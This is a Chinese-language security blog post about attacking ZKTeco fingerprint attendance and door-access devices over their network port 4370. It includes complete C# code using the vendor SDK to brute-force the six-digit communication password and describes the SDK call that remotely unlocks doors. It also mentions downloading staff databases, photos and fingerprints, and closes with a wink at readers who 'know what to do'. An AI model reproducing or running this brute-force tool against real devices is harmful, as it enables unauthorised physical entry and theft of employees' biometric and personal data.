中控设备缺陷利用

只要能搞定指纹考勤机(其余类型考勤机也同样),在很大情况下能搞定一家公司的所有人员信息,下面我说一下在研究指纹设备时发现的认证缺陷问题。

这里在软件选型上我找到了规模比较大的中控生物旗下的考勤产品下载,其中有下载量比较大的ZKTime系列的免费版。

2014060220133172492.png

介绍里说明几乎支持所有类型的指纹考勤机,指纹门禁及所有同品牌类型的指纹产品类型,如果算连接网络的设备全中国估计会有6位数以上的设备终端。

网站上有一篇“户外物理设备入侵之:入侵并“调教”中控指纹语音考勤系统(打卡机)”,作者只是写了个大概,并没有对程序进行过分析,有些概念是错误的,反正正好我也在研究,重新写一些东西纠正一下好了。

关于此类设备的认证方面网上都有资料可循,不过有些人说是明文,三次握手部分看不到有此类的数据包,所以应该是加密算法做哈希,尤其说过此密码估计要设备终端和PC终端相同才行。(设备默认开启4370端口,6位数字组合为暴力枚举必破)

2014060220160246182.png

2014060220170692817.png

所以这里设备爆破手法1.搞清密码处理流程用数据包骗过去。2,直接扣二次开发SDK或者找开发资料把函数扣出来。

索性SDK做得简单易懂,我看一天左右就可以上手编写破解密码的程序部分了。

2014060220183670975.jpg

指纹考勤联机部分的流程SDK文档如下:

2014060220192293626.jpg

远程网络认证部分关键函数有两个:

1.Connect_Net

VARIANT_BOOL Connect_Net( [in] BSTR IPAdd, [in] long Portl)

布尔类型的函数

IPAdd,(远程设备IP地址)和Port(设备认证端口)

2.SetCommPassword

VARIANT_BOOL SetCommPassword( [in] long CommKey)

CommKey为密码(小声说一句,可能是为了兼容或者开发方便,认证方式实在很弱)。

整个连接过程不过很短的几句代码,加个循环就能成为破解密码程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void CrackerConnect() {
    zkemkeeper.CZKEMClass axCZKEM1 = new zkemkeeper.CZKEMClass();
    int ifcommnetpass = 0;
    for (j = 0; j < 24; j++) {
        key = comkeys[j];
        pwd = axCZKEM1.SetCommPassword(key);
        if (pwd == true) {
            bIsConnected = axCZKEM1.Connect_Net(txtIP.Text, Convert.ToInt32(txtPort.Text));
            if (bIsConnected == true) {
                btnConnect.BeginInvoke(new System.EventHandler(SetbtnConnectTextSec));
                lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSec), comkeystr[j]);
                iMachineNumber = 1;//In fact,when you are using the tcp/ip communication,this parameter will be ignored,that is any integer will all right.Here we use 1.
                axCZKEM1.RegEvent(iMachineNumber, 65535);//Here you can register the realtime events that you want to be triggered(the parameters 65535 means registering all)
                ifcommnetpass = 1;
                break;
            } else {
                lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSecfail), comkeystr[j]);
            }
        }
    }
    if (ifcommnetpass == 0) {
        for (j = 0; j < 1000000; j++) {
            key = keys[j];
            pwd = axCZKEM1.SetCommPassword(key);
            if (pwd == true) {
                bIsConnected = axCZKEM1.Connect_Net(txtIP.Text, Convert.ToInt32(txtPort.Text));
                if (bIsConnected == true) {
                    btnConnect.BeginInvoke(new System.EventHandler(SetbtnConnectTextSec));
                    lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSec), keystr[j]);//
                    iMachineNumber = 1;//In fact,when you are using the tcp/ip communication,this parameter will be ignored,that is any integer will all right.Here we use 1. //
                    axCZKEM1.RegEvent(iMachineNumber, 65535);//Here you can register the realtime events that you want to be triggered(the parameters 65535 means registering all)
                    break;
                } else {
                    lblState.BeginInvoke(new System.EventHandler(SetlblStateTextSecfail), keystr[j]);
                }
            }
        }
    }
    Cursor = Cursors.Default;
}

注意先注册SDK里提供的控件再调用里面的接口函数:

2014060220263466786.jpg

按照SDK开发的专门入侵的程序可以做到远程开关设备和远程清密码,还有开门禁等等。

比方说开门禁的

ACUnlock

【函数定义】

VARIANT_BOOL  ACUnlock([in] long dwMachineNumber, [in] long Delay)

【功能】

开门,使开门控制器输出开门电平,并延迟(Delay/10)秒后关门

【参数】

dwMachineNumber

机器号

Delay

开门延迟时间

【返回值】

成功返回True,否则返回False

2014060220272581566.jpg

还有很多功能,比如鸣叫报警,自动开门,下载整个公司数据库,照片指纹等,甚至可以像游戏Watch dog里一样手机开门,手机关门禁和考勤设备,其实考勤及门禁设备也很重要。

大家节后上班考勤难免会有问题,有缘人看这篇文章应该知道咋做了。



无觅相关文章插件,快速提升流量

About webmaster

博主目前为学生,业余时间专注于分享互联网潮流资讯,前沿WEB技术,渗透技术,APT,XSS,RFID,SDR,GSM,RF等技术.此前对前端渗透有较深建树,建博旨在记录与发表前沿技术.感谢大家关注...

分享到:
No Response
Comment (0)
Trackback (0)
Leave a Reply

昵称*

邮箱*

网址

0

贴入百度统计、CNZZ、51啦、量子统计代码等等